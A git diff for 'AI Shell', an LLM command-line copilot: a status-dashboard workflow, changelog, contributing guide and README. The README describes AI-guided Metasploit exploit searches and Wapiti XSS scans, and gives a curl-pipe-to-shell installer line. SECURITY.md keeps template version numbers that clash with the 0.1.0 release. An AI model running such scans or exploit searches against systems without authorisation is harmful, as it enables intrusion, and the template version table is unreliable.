-0,0 +1,151 @@ +name: Workflow Status + +on: + workflow_run: + workflows: ["CI", "Security", "Documentation", "Performance", "Release", "deployment-assets"] + types: + - completed + schedule: + # Generate status report daily at 8 AM UTC + - cron: '0 8 * * *' + workflow_dispatch: + +permissions: + contents: write + actions: read + +jobs: + status-report: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v5 + + - name: Generate workflow status report + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + + // Get recent workflow runs + const workflows = ['CI', 'Security', 'Documentation', 'Performance', 'Release', 'deployment-assets']; + let statusReport = '# 🚀 AI Shell - Workflow Status Dashboard\n\n'; + statusReport += `*Last updated: ${new Date().toISOString()}*\n\n`; + + const statusTable = []; + statusTable.push('| Workflow | Status | Last Run | Duration | Branch |'); + statusTable.push('|----------|--------|----------|----------|--------|'); + + for (const workflowName of workflows) { + try { + const runs = await github.rest.actions.listWorkflowRuns({ + owner: context.repo.owner, + repo: context.repo.repo, + workflow_id: `${workflowName.toLowerCase()}.yml`, + per_page: 1 + }); + + if (runs.data.workflow_runs.length > 0) { + const run = runs.data.workflow_runs[0]; + const status = run.conclusion || run.status; + const statusEmoji = { + 'success': '✅', + 'failure': '❌', + 'cancelled': '⚠️', + 'in_progress': '🔄', + 'queued': '⏳' + }[status] || '❓'; + + const duration = run.run_started_at && run.updated_at ? + Math.round((new Date(run.updated_at) - new Date(run.run_started_at)) / 1000 / 60) : 'N/A'; + + const lastRun = new Date(run.created_at).toLocaleDateString(); + const branch = run.head_branch; + + statusTable.push(`| ${workflowName} | ${statusEmoji} ${status} | ${lastRun} | ${duration}m | ${branch} |`); + } else { + statusTable.push(`| ${workflowName} | ❓ No runs | N/A | N/A | N/A |`); + } + } catch (error) { + statusTable.push(`| ${workflowName} | ❓ Error | N/A | N/A | N/A |`); + } + } + + statusReport += statusTable.join('\n') + '\n\n'; + + // Add repository stats + statusReport += '## 📊 Repository Statistics\n\n'; + + // Get repository info + const repo = await github.rest.repos.get({ + owner: context.repo.owner, + repo: context.repo.repo + }); + + const issues = await github.rest.issues.listForRepo({ + owner: context.repo.owner, + repo: context.repo.repo, + state: 'open' + }); + + const prs = await github.rest.pulls.list({ + owner: context.repo.owner, + repo: context.repo.repo, + state: 'open' + }); + + statusReport += `- **Stars:** ${repo.data.stargazers_count}\n`; + statusReport += `- **Forks:** ${repo.data.forks_count}\n`; + statusReport += `- **Open Issues:** ${issues.data.length}\n`; + statusReport += `- **Open PRs:** ${prs.data.length}\n`; + statusReport += `- **Last Updated:** ${new Date(repo.data.updated_at).toLocaleDateString()}\n\n`; + + // Add workflow badges + statusReport += '## 🏆 Workflow Badges\n\n'; + const baseUrl = `https://github.com/${context.repo.owner}/${context.repo.repo}`; + + statusReport += `[![CI](${baseUrl}/actions/workflows/ci.yml/badge.svg)](${baseUrl}/actions/workflows/ci.yml) `; + statusReport += `[![Security](${baseUrl}/actions/workflows/security.yml/badge.svg)](${baseUrl}/actions/workflows/security.yml) `; + statusReport += `[![Documentation](${baseUrl}/actions/workflows/documentation.yml/badge.svg)](${baseUrl}/actions/workflows/documentation.yml) `; + statusReport += `[![Deployment Assets](${baseUrl}/actions/workflows/deployment-assets.yml/badge.svg)](${baseUrl}/actions/workflows/deployment-assets.yml)\n\n`; + + // Add quick links + statusReport += '## 🔗 Quick Links\n\n'; + statusReport += `- [📋 All Workflows](${baseUrl}/actions)\n`; + statusReport += `- [🐛 Report Issues](${baseUrl}/issues/new/choose)\n`; + statusReport += `- [💡 Discussions](${baseUrl}/discussions)\n`; + statusReport += `- [📖 Documentation](${baseUrl}/blob/main/README.md)\n`; + statusReport += `- [🤝 Contributing](${baseUrl}/blob/main/CONTRIBUTING.md)\n\n`; + + statusReport += '---\n'; + statusReport += '*This dashboard is automatically updated by GitHub Actions.*\n'; + + // Write to file + fs.writeFileSync('WORKFLOW_STATUS.md', statusReport); + + console.log('Generated workflow status report'); + console.log(statusReport); + + - name: Check if status file changed + id: check-changes + run: | + if git diff --quiet WORKFLOW_STATUS.md; then + echo "changed=false" >> $GITHUB_OUTPUT + else + echo "changed=true" >> $GITHUB_OUTPUT + fi + + - name: Commit status report + if: steps.check-changes.outputs.changed == 'true' + run: | + git config --local user.email "action@github.com" + git config --local user.name "GitHub Action" + git add WORKFLOW_STATUS.md + git commit -m "Update workflow status dashboard [skip ci]" || exit 0 + git push + + - name: Create status summary + run: | + echo "## 🚀 Workflow Status Summary" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + cat WORKFLOW_STATUS.md >> $GITHUB_STEP_SUMMARY \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e5abd39 --- /dev/null +++ b/.gitignore @@ -0,0 +1,53 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# Virtual environments +venv/ +env/ +ENV/ +.venv/ +.env/ + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# OS +.DS_Store +Thumbs.db + +# Project specific +training_dataset.jsonl +config.yaml +.api_key +logs/ +*.log + +# Coverage reports +.coverage +coverage.xml +htmlcov/ +.pytest_cache/ \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..86b18aa --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,93 @@ +# Changelog + +All notable changes to AI Shell will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [Unreleased] + +### Added +- Wapiti Assistant mode: AI-guided web application security scanning via PTY session +- Comprehensive documentation update across all docs/ files and README + +### Changed +- README.md: Fixed broken Metasploit mode code example; added Wapiti mode section; + removed garbled trailing content; updated project structure listing +- docs/EXAMPLES.md: Complete rewrite — previous content was scrambled; + now provides clean, accurate examples for all four modes +- docs/USAGE.md: Removed reference to non-existent `security.safe_commands` config key +- docs/ARCHITECTURE.md: Corrected `LLMProvider` class interface (not ABC); + fixed `get_llm_provider()` signature; corrected `CommandExecutor` class layout +- docs/CONFIGURATION.md: Removed aspirational/unimplemented features + (`!ENV` YAML syntax, `--validate-config`, `--profile`, debug/ui config sections); + replaced with accurate descriptions of implemented behaviour +- docs/TROUBLESHOOTING.md: Fixed incorrect `get_llm_provider()` and `get_executor()` + call signatures in debug examples; updated minimum Python version to 3.9 +- CONTRIBUTING.md: Updated minimum Python requirement from 3.8 to 3.9 + +## [0.1.0] - Current Release + +### Added +- Multi-modal architecture with three operating modes: + - Command Translator: Direct natural language to command translation + - AI Assistant: Conversational mode with chat history + - Metasploit Assistant: Specialized penetration testing support +- LLM provider support: + - Google Gemini integration + - Local LLM support via Ollama +- Interactive tool integration using pseudoterminal (pty) +- Real-time command output streaming +- Security features: + - Command validation and dangerous command detection + - User confirmation before command execution + - Input sanitization +- Configuration management with YAML support +- Training data collection with feedback loop +- Comprehensive test suite +- Cross-platform installation scripts (Windows/Linux/Mac) + +### Changed +- Evolved from simple translator (v0.0.3) to multi-tool platform +- Enhanced UI with better colors and user experience +- Improved error handling and logging + +### Security +- Built-in command validation system +- Configurable dangerous command lists +- User confirmation requirements + +## [0.0.3] - Legacy Version + +### Added +- Basic command translation functionality +- Simple subprocess-based command execution +- Initial LLM integration + +### Notes +- This version served as the foundation for the current multi-modal architecture +- Deprecated in favor of the enhanced v0.1.0 architecture + +--- + +## Release Guidelines + +### Version Numbers +- **MAJOR**: Breaking changes to API or core functionality +- **MINOR**: New features, backward compatible +- **PATCH**: Bug fixes, backward compatible + +### Release Process +1. Update CHANGELOG.md with new version +2. Update version in setup.py and __init__.py +3. Create git tag with version number +4. Generate release notes from changelog +5. Publish to PyPI (when ready) + +### Categories +- **Added**: New features +- **Changed**: Changes to existing functionality +- **Deprecated**: Features that will be removed +- **Removed**: Features that have been removed +- **Fixed**: Bug fixes +- **Security**: Security-related changes \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..368053b --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,339 @@ +# Contributing to AI Shell + +Thank you for your interest in contributing to AI Shell! This document provides comprehensive guidelines for contributing to the project. + +## 🚀 Getting Started + +### Prerequisites + +- Python 3.9 or higher +- Git +- Basic understanding of command-line tools +- Familiarity with Python and AsyncIO (for advanced contributions) + +### Development Setup + +1. **Fork and Clone** + ```bash + git clone https://github.com/your-username/Ai_shell.git + cd Ai_shell + ``` + +2. **Create Virtual Environment** + ```bash + python3 -m venv venv + source venv/bin/activate # On Windows: venv\Scripts\activate + ``` + +3. **Install Dependencies** + ```bash + pip install -r requirements.txt + pip install pytest black flake8 pytest-cov + ``` + +4. **Install in Development Mode** + ```bash + pip install -e . + ``` + +5. **Verify Installation** + ```bash + python -m pytest + ai-shell --help + ``` + +## 🏗️ Project Architecture + +### Core Components + +``` +ai_shell/ +├── main.py # Application entry point and CLI interface +├── config.py # Configuration management with YAML support +├── llm.py # LLM provider abstractions (Gemini, Ollama) +├── executor.py # Command execution with security validation +└── ui.py # User interface utilities and formatting +``` + +### Key Design Patterns + +- **Provider Pattern**: LLM providers implement a common interface +- **Configuration Management**: Centralized config with environment variable support +- **Security Layer**: Command validation and user confirmation system +- **Async Architecture**: Non-blocking operations for better UX + +## 🔧 Development Workflow + +### Before Making Changes + +1. **Create a Feature Branch** + ```bash + git checkout -b feature/your-feature-name + ``` + +2. **Run Tests** + ```bash + python -m pytest -v + ``` + +3. **Check Code Style** + ```bash + black --check ai_shell/ tests/ + flake8 ai_shell/ tests/ + ``` + +### Making Changes + +1. **Follow Code Style** + - Use Black for formatting + - Follow PEP 8 guidelines + - Add type hints where appropriate + - Write descriptive docstrings + +2. **Write Tests** + - Add unit tests for new functionality + - Maintain high test coverage + - Use descriptive test names + - Include both positive and negative test cases + +3. **Update Documentation** + - Update README.md if needed + - Add docstrings to new functions/classes + - Update configuration examples + +### Testing Guidelines + +```bash +# Run all tests +python -m pytest + +# Run specific test file +python -m pytest tests/test_config.py + +# Run with coverage +python -m pytest --cov=ai_shell --cov-report=html + +# Run tests in verbose mode +python -m pytest -v -s +``` + +### Code Quality + +```bash +# Format code +black ai_shell/ tests/ + +# Check code style +flake8 ai_shell/ tests/ + +# Type checking (optional) +mypy ai_shell/ +``` + +## 📝 Contribution Types + +### 🐛 Bug Fixes + +1. **Report the Bug** + - Use GitHub Issues + - Provide clear reproduction steps + - Include system information + - Add relevant logs or screenshots + +2. **Fix the Bug** + - Write a failing test first + - Implement the minimal fix + - Ensure all tests pass + - Update documentation if needed + +### ✨ New Features + +1. **Propose the Feature** + - Open a GitHub Issue for discussion + - Explain the use case and benefits + - Consider the scope and complexity + +2. **Implement the Feature** + - Follow the existing architecture patterns + - Add comprehensive tests + - Update documentation + - Consider backward compatibility + +### Common Contribution Areas + +#### Adding New LLM Providers + +1. Create a new provider class in `llm.py`: + ```python + class NewLLMProvider(LLMProvider): + def __init__(self, config): + self.config = config + + async def generate_response(self, prompt, system_prompt=""): + # Implementation here + pass + ``` + +2. Register the provider in `get_llm_provider()` +3. Add configuration options +4. Write comprehensive tests + +#### Enhancing Security Features + +1. Add new validation rules in `executor.py` +2. Update the dangerous commands list +3. Add configuration options for new security features +4. Test edge cases thoroughly + +#### Improving User Interface + +1. Add new UI components in `ui.py` +2. Ensure consistent styling with existing components +3. Test across different terminal environments +4. Consider accessibility + +## 🧪 Testing Strategy + +### Test Categories + +1. **Unit Tests**: Individual component testing +2. **Integration Tests**: Component interaction testing +3. **End-to-End Tests**: Full workflow testing +4. **Security Tests**: Validation and safety testing + +### Writing Good Tests + +```python +def test_config_load_from_file(): + """Test that configuration loads correctly from YAML file.""" + # Arrange + config_data = {"llm": {"provider": "gemini"}} + + # Act + config = Config(config_data) + + # Assert + assert config.get("llm.provider") == "gemini" +``` + +### Test Coverage + +- Aim for >90% test coverage +- Focus on critical paths and edge cases +- Mock external dependencies (APIs, file system) +- Test error conditions and recovery + +## 📚 Documentation + +### Code Documentation + +- **Docstrings**: All public functions and classes +- **Type Hints**: Use for better IDE support +- **Comments**: Explain complex logic, not obvious code + +### User Documentation + +- **README.md**: Keep updated with new features +- **Configuration**: Document all config options +- **Examples**: Provide practical usage examples + +## 🎯 Commit Guidelines + +### Commit Message Format + +``` +type(scope): brief description + +Detailed explanation of the change, including: +- Why the change was made +- What was changed +- Any breaking changes or migration notes + +Fixes #123 +``` + +### Commit Types + +- `feat`: New features +- `fix`: Bug fixes +- `docs`: Documentation changes +- `style`: Code style changes (formatting, etc.) +- `refactor`: Code refactoring without feature changes +- `test`: Adding or updating tests +- `chore`: Build process or auxiliary tool changes + +### Examples + +``` +feat(llm): add support for Claude API + +- Implement ClaudeProvider class +- Add configuration options for Claude +- Update provider selection logic +- Add comprehensive tests + +Fixes #456 + +fix(security): prevent command injection in user input + +- Sanitize user input before processing +- Add validation for special characters +- Update security tests +- Document security considerations + +Closes #789 +``` + +## 🚢 Release Process + +### Pull Request Guidelines + +1. **Before Submitting** + - Ensure all tests pass + - Update documentation + - Add changelog entry + - Squash commits if needed + +2. **PR Description** + - Clear title and description + - Link to related issues + - Include screenshots for UI changes + - List breaking changes + +3. **Review Process** + - Address reviewer feedback + - Keep discussions focused + - Be open to suggestions + +### Versioning + +We follow [Semantic Versioning](https://semver.org/): +- `MAJOR.MINOR.PATCH` +- Major: Breaking changes +- Minor: New features, backward compatible +- Patch: Bug fixes, backward compatible + +## 🤝 Community Guidelines + +### Code of Conduct + +- Be respectful and inclusive +- Provide constructive feedback +- Help others learn and grow +- Follow the project's coding standards +- Focus on the problem, not the person + +### Getting Help + +- **GitHub Issues**: Bug reports and feature requests +- **GitHub Discussions**: General questions and ideas +- **Code Review**: Learn from feedback and review others' code + +## 🎉 Recognition + +Contributors are recognized in: +- GitHub contributor graphs +- Release notes for significant contributions +- Special mentions for outstanding contributions + +Thank you for contributing to AI Shell! 🚀 \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..1136394 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Jon-Arve and Diégo + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/MANIFEST.in b/MANIFEST.in new file mode 100644 index 0000000..f9bd145 --- /dev/null +++ b/MANIFEST.in @@ -0,0 +1 @@ +include requirements.txt diff --git a/README.md b/README.md index ad14fd4..17fbf11 100644 --- a/README.md +++ b/README.md @@ -1,101 +1,342 @@ -AI Shell: Your Command-Line Copilot -AI Shell is an intelligent, multi-modal command-line assistant designed to bridge the gap between natural language and complex shell operations. It leverages the power of Large Language Models (LLMs) to translate your requests into executable commands, assist with conversational guidance, and even integrate with specialized tools like the Metasploit Framework. +# AI Shell 🤖 -Whether you're a beginner learning the ropes or a seasoned expert looking to accelerate your workflow, AI Shell is your ultimate command-line copilot. +
-🚀 Evolution: From Simple Translator to Powerful Assistant -The journey from version 0.0.3 to the current release marks a significant architectural and functional leap. The tool has evolved from a basic single-purpose translator into a sophisticated, multi-tool platform. +**Your Intelligent Command-Line Copilot** -Key Enhancements Since v0.0.3: -Multi-Modal Architecture: The single "translator" mode has been expanded into three distinct operating modes: + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Python 3.9+](https://img.shields.io/badge/python-3.9+-blue.svg)](https://www.python.org/downloads/) +[![GitHub Release](https://img.shields.io/github/v/release/GizzZmo/Ai_shell?include_prereleases&sort=semver)](https://github.com/GizzZmo/Ai_shell/releases) -Command Translator: The original, direct prompt -> command functionality. + +[![CI](https://github.com/GizzZmo/Ai_shell/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/ci.yml) +[![Security](https://github.com/GizzZmo/Ai_shell/actions/workflows/security.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/security.yml) +[![Documentation](https://github.com/GizzZmo/Ai_shell/actions/workflows/documentation.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/documentation.yml) +[![Performance](https://github.com/GizzZmo/Ai_shell/actions/workflows/performance.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/performance.yml) +[![Deployment Assets](https://github.com/GizzZmo/Ai_shell/actions/workflows/deployment-assets.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/deployment-assets.yml) -AI Assistant: A conversational, stateful chat mode for general assistance, explanations, and multi-step tasks. + +[![Codecov](https://codecov.io/gh/GizzZmo/Ai_shell/branch/main/graph/badge.svg)](https://codecov.io/gh/GizzZmo/Ai_shell) +[![CodeQL](https://github.com/GizzZmo/Ai_shell/workflows/Security/badge.svg)](https://github.com/GizzZmo/Ai_shell/security/code-scanning) -Metasploit Assistant: A specialized mode that launches msfconsole in an interactive session, with an AI expert ready to guide your penetration testing workflow. + +[![GitHub issues](https://img.shields.io/github/issues/GizzZmo/Ai_shell)](https://github.com/GizzZmo/Ai_shell/issues) +[![GitHub pull requests](https://img.shields.io/github/issues-pr/GizzZmo/Ai_shell)](https://github.com/GizzZmo/Ai_shell/pulls) +[![GitHub stars](https://img.shields.io/github/stars/GizzZmo/Ai_shell?style=social)](https://github.com/GizzZmo/Ai_shell/stargazers) -Interactive Tool Integration: The most significant architectural change is the move from basic subprocess calls to a pseudoterminal (pty). This allows AI Shell to run and interact with stateful, persistent applications like msfconsole, capturing real-time output and maintaining the tool's internal state (e.g., set variables, active modules). +*Transform natural language into powerful shell commands with AI* -Advanced LLM Interaction: +[🚀 Quick Start](#quick-start) • [📖 Documentation](#documentation) • [🤝 Contributing](CONTRIBUTING.md) +[🐛 Issues](https://github.com/GizzZmo/Ai_shell/issues) • [📊 Workflow Status](WORKFLOW_STATUS.md) -Specialized System Prompts: Each mode now uses a unique, carefully crafted system prompt that primes the LLM for the specific context (general shell vs. Metasploit). +
-Conversational Memory: The Assistant and Metasploit modes maintain a chat history, allowing for follow-up questions and context-aware responses. +--- -Enhanced Local LLM Support (Ollama): +## Overview -Setup and model pulling is now automated. +AI Shell is an intelligent, multi-modal command-line assistant that bridges the gap between natural language and complex shell operations. Powered by Large Language Models (LLMs), it translates your requests into executable commands, provides conversational guidance, and integrates with specialized tools like the Metasploit Framework and Wapiti. -The script checks for available memory and provides a menu of well-tested local models. +Whether you're a beginner learning the command line or a seasoned expert looking to accelerate your workflow, AI Shell adapts to your needs. -Data-Driven Improvement: A feedback loop (log_training_pair) has been introduced, allowing users to confirm correct commands or provide corrections. This creates a valuable dataset for future fine-tuning of the AI model. +## ✨ Key Features -Improved User Experience: The command execution now streams output in real-time, providing a much better experience for long-running processes. The UI has been enhanced with more distinct colors and clearer instructions. +- **🔄 Multi-Modal Architecture**: Four distinct operating modes for different use cases +- **🧠 Advanced LLM Integration**: Support for both cloud (Gemini) and local (Ollama) models +- **🔒 Security-First Design**: Built-in command validation and user confirmation +- **📊 Command Audit Logging**: Comprehensive security tracking and compliance reporting +- **🛡️ Enhanced Threat Detection**: 25+ dangerous command patterns with smart matching +- **💬 Conversational Memory**: Context-aware responses with chat history +- **🛠️ Tool Integration**: Native PTY-based support for penetration testing and web scanning workflows +- **📊 Learning Capability**: Feedback loop for continuous improvement via training data collection -🔥 Core Features & Operating Modes -1. Command Translator Mode -The classic AI Shell experience. Describe what you want to do in plain English, and the AI will provide the exact shell command. +## 🎯 Operating Modes -Input: > find all files larger than 100MB in my home directory +### 1. Command Translator Mode +Transform natural language into precise shell commands. -Output: find ~ -type f -size +100M +``` +> find all files larger than 100MB in my home directory +→ find ~ -type f -size +100M +``` -2. AI Assistant Mode -A conversational partner for your command-line tasks. Ask for explanations, get help with complex workflows, or have the AI generate commands in a chat-like interface. +### 2. AI Assistant Mode +Conversational partner for complex command-line tasks with explanations and guidance. +``` You: How can I check which processes are using the most memory? +Assistant: On Linux, you can use the 'ps' command combined with 'sort': + + ps aux --sort=-%mem | head -n 10 + +This lists all running processes, sorts them by memory usage in descending +order, and shows the top 10. +``` + +### 3. Metasploit Assistant Mode +Your personal cybersecurity expert with direct `msfconsole` integration via a pseudoterminal session. Type regular `msfconsole` commands as usual; prefix a line with `?` to ask the AI for guidance. + +``` +msf6 > hosts + +? search for Log4j exploits +Assistant: You can search for Log4j exploits using the 'search' command: + + search cve:2021-44228 + +Would you like me to run this command for you? +``` + +### 4. Wapiti Assistant Mode +AI-guided web application security scanning via a Bash session with `wapiti` available. Prefix prompts with `?` to get AI-generated scan commands. + +``` +$ ? scan example.com for XSS vulnerabilities +Assistant: To scan for XSS vulnerabilities, run: + + wapiti -u http://example.com -m xss --scope domain +``` -Assistant: On Linux, you can use the 'ps' command combined with 'sort'. Here is a command that should work for you: \``bash -ps aux --sort=-%mem | head -n 10 +## 🚀 Quick Start + +### Prerequisites + +- **Python 3.9+** +- **Metasploit Framework** (optional, for Metasploit mode) +- **Wapiti** (optional, for Wapiti mode — `pip install wapiti3` or `sudo apt install wapiti`) +- **Ollama** (optional, for local LLMs) + +### Installation + +#### Option 1: From Source (Recommended) + +```bash +# Clone the repository +git clone https://github.com/GizzZmo/Ai_shell.git +cd Ai_shell + +# Install dependencies +pip install -r requirements.txt + +# Install the package +pip install -e . +``` + +#### Option 2: Using Setup Scripts + +**Linux/Mac:** +```bash +chmod +x install.sh +./install.sh +``` + +**Windows:** +```powershell +Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process +.\install.ps1 ``` -This command lists all running processes, sorts them by memory usage in descending order, and shows you the top 10.` -3. Metasploit Assistant Mode -Your personal cybersecurity expert. This mode launches an interactive msfconsole session and provides an AI assistant that is specifically trained to help with penetration testing tasks. +### Configuration + +1. **Copy the example configuration:** + ```bash + cp config.yaml.example config.yaml + ``` + +2. **Set your API key** (for Gemini): + ```bash + export GEMINI_API_KEY="your_api_key_here" + ``` + +3. **For local LLMs**, install Ollama: + ```bash + # Install Ollama (Linux) + curl -fsSL https://ollama.ai/install.sh | sh + + # Pull a model + ollama pull llama3 + ``` + +### Usage + +```bash +# Interactive mode selection +ai-shell -Direct Interaction: Type any msfconsole command directly. +# Direct modes +ai-shell --mode translator +ai-shell --mode assistant +ai-shell --mode metasploit +ai-shell --mode wapiti -AI Guidance: Prefix your request with ? to ask the AI for help. +# Specify provider +ai-shell --provider local +ai-shell --provider gemini --api-key your_key -Input: ? search for exploits related to the log4j vulnerability +# Use custom config +ai-shell --config myconfig.yaml -Assistant: Of course. You can search for Log4j exploits using the 'search' command. Here is a precise command: \``bash -search cve:2021-44228 +# Adjust safety and logging +ai-shell --no-confirmation +ai-shell --log-level DEBUG ``` -Would you like me to run this command for you?` -🛠️ Setup & Usage -Prerequisites -Python 3.8+ +For a full CLI reference and mode-by-mode walkthrough, see [docs/USAGE.md](docs/USAGE.md). -Metasploit Framework: Required only for the Metasploit Assistant mode. Ensure msfconsole is in your system's PATH. +## 📖 Documentation + +Browse focused guides: +- [Usage Guide](docs/USAGE.md) — CLI flags, modes, and provider selection +- [Configuration Guide](docs/CONFIGURATION.md) — config structure, profiles, and templates +- [Architecture Overview](docs/ARCHITECTURE.md) — component and data-flow diagrams +- [Examples & Tutorials](docs/EXAMPLES.md) — practical prompts and scripts +- [Troubleshooting](docs/TROUBLESHOOTING.md) — common fixes and debugging tips + +## 🔧 Development + +### Project Structure + +``` +Ai_shell/ +├── ai_shell/ # Main package +│ ├── __init__.py # Package metadata and version +│ ├── main.py # Application entry point and mode loops +│ ├── config.py # Configuration management (YAML + env vars) +│ ├── llm.py # LLM provider integrations and system prompts +│ ├── executor.py # Command execution, security, and training logger +│ └── ui.py # Terminal colors and formatting utilities +├── tests/ # Test suite +├── docs/ # Focused documentation guides +├── config.yaml.example # Example configuration file +├── install.sh # Linux/Mac installer +├── install.ps1 # Windows installer +├── setup.py # Package setup +└── requirements.txt # Runtime dependencies +``` + +### Testing + +```bash +# Install development dependencies +pip install pytest pytest-cov black flake8 + +# Run all tests +python -m pytest + +# Run with coverage +python -m pytest --cov=ai_shell +``` + +### Code Style + +```bash +# Format code +black ai_shell/ tests/ + +# Check style +flake8 ai_shell/ tests/ +``` + +## 🔒 Security + +- **API Keys**: Store securely using environment variables; never commit them to source control +- **Command Review**: Always review AI-generated commands before execution +- **Confirmation Prompts**: Enabled by default; use `--no-confirmation` only in trusted environments +- **Dangerous Command Blocking**: Configurable list of patterns blocked before execution +- **Local LLMs**: Consider Ollama for sensitive or air-gapped environments + +See [SECURITY.md](SECURITY.md) for the full security policy and responsible disclosure process. + +## 🔄 CI/CD & Workflow System + +AI Shell uses a comprehensive GitHub Actions workflow system to ensure code quality, security, and reliability: + +### 🛠️ Automated Workflows + +#### **Continuous Integration (CI)** +- ✅ **Multi-OS Testing**: Tests run on Ubuntu, Windows, and macOS +- ✅ **Python Versions**: Supports Python 3.9, 3.10, 3.11, and 3.12 +- ✅ **Code Quality**: Automated linting with flake8 and formatting checks with black +- ✅ **Test Coverage**: pytest with coverage reporting to Codecov +- ✅ **Package Installation**: Validates the package can be installed and used + +#### **Security Scanning** +- 🔒 **CodeQL Analysis**: Advanced code security scanning with extended queries +- 🔒 **Dependency Scanning**: Automated vulnerability checks using Safety +- 🔒 **Secrets Detection**: Trivy scans for exposed secrets in the codebase +- 🔒 **License Compliance**: Verifies all dependencies use compatible licenses +- 🔒 **Scheduled Scans**: Daily security checks to catch new vulnerabilities + +#### **Documentation** +- 📖 **Markdown Validation**: Ensures all documentation is syntactically correct +- 📖 **Link Checking**: Validates internal and external links +- 📖 **Automated Deployment**: Builds and deploys docs to GitHub Pages with MkDocs + +#### **Performance Monitoring** +- ⚡ **Benchmark Tests**: Measures performance of core components +- ⚡ **Memory Profiling**: Tracks memory usage and detects leaks +- ⚡ **Weekly Runs**: Regular performance regression testing + +#### **Release Automation** +- 🚀 **Automated Releases**: Tag-based releases to GitHub and PyPI +- 🚀 **Changelog Generation**: Automatic changelog from git commits +- 🚀 **Package Building**: Builds and validates distribution packages +- 🚀 **Pre-release Support**: Handles alpha, beta, and RC releases + +#### **Smart Automation** +- 🏷️ **Auto-labeling**: Automatically labels issues and PRs based on content +- 🏷️ **Size Detection**: Labels PRs by change size (XS, S, M, L, XL) +- 📊 **Status Dashboard**: Daily workflow status reports and repository statistics + +### 📊 Workflow Status + +Check our [Workflow Status Dashboard](WORKFLOW_STATUS.md) for real-time status of all workflows, or view the [Actions tab](https://github.com/GizzZmo/Ai_shell/actions) for detailed run history. + +### 🔧 Running Workflows Locally + +You can run tests and checks locally before pushing: + +```bash +# Run tests +python -m pytest tests/ -v --cov=ai_shell + +# Check code style +flake8 ai_shell/ tests/ +black --check ai_shell/ tests/ + +# Run security checks +pip install safety +safety check +``` -Ollama (Optional): Required for running local LLMs. +## 🤝 Contributing -Installation -Clone the repository: +We welcome contributions! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines. -git clone -cd ai-shell +### Quick Steps -Install Python dependencies: +1. Fork the repository +2. Create a feature branch (`git checkout -b feature/your-feature`) +3. Make your changes with tests +4. Submit a pull request -pip install -r requirements.txt -# Or manually: pip install google-generativeai requests +## 📄 License -Configuration -LLM Provider: On startup, you will be prompted to choose between Gemini (cloud) or a Local LLM (Ollama). +This project is licensed under the MIT License — see the [LICENSE](LICENSE) file for details. -API Key (for Gemini): If you choose Gemini, you will be prompted for your API key. You can also set it as an environment variable to avoid entering it each time: +## 🙏 Acknowledgments -export API_KEY="your_gemini_api_key_here" +- **Google Gemini** for powerful language model capabilities +- **Ollama** community for local LLM support +- **Metasploit Framework** for penetration testing integration +- **Wapiti** for web application security scanning -Local Model (for Ollama): If you choose a local LLM, the script will guide you through selecting a model and will automatically pull it if it's not already installed. +## 📞 Support -Running the Application -Simply execute the Python script: +- **Issues**: [GitHub Issues](https://github.com/GizzZmo/Ai_shell/issues) +- **Discussions**: [GitHub Discussions](https://github.com/GizzZmo/Ai_shell/discussions) -python ai_shell_metasploit.py +--- -Follow the on-screen prompts to select your desired operating mode and LLM provider. +**⚠️ Disclaimer**: AI Shell executes system commands. Always review commands before execution and use appropriate security measures. The developers are not responsible for any damage caused by misuse of this tool. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..034e848 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,21 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| 5.1.x | :white_check_mark: | +| 5.0.x | :x: | +| 4.0.x | :white_check_mark: | +| < 4.0 | :x: | + +## Reporting a Vulnerability + 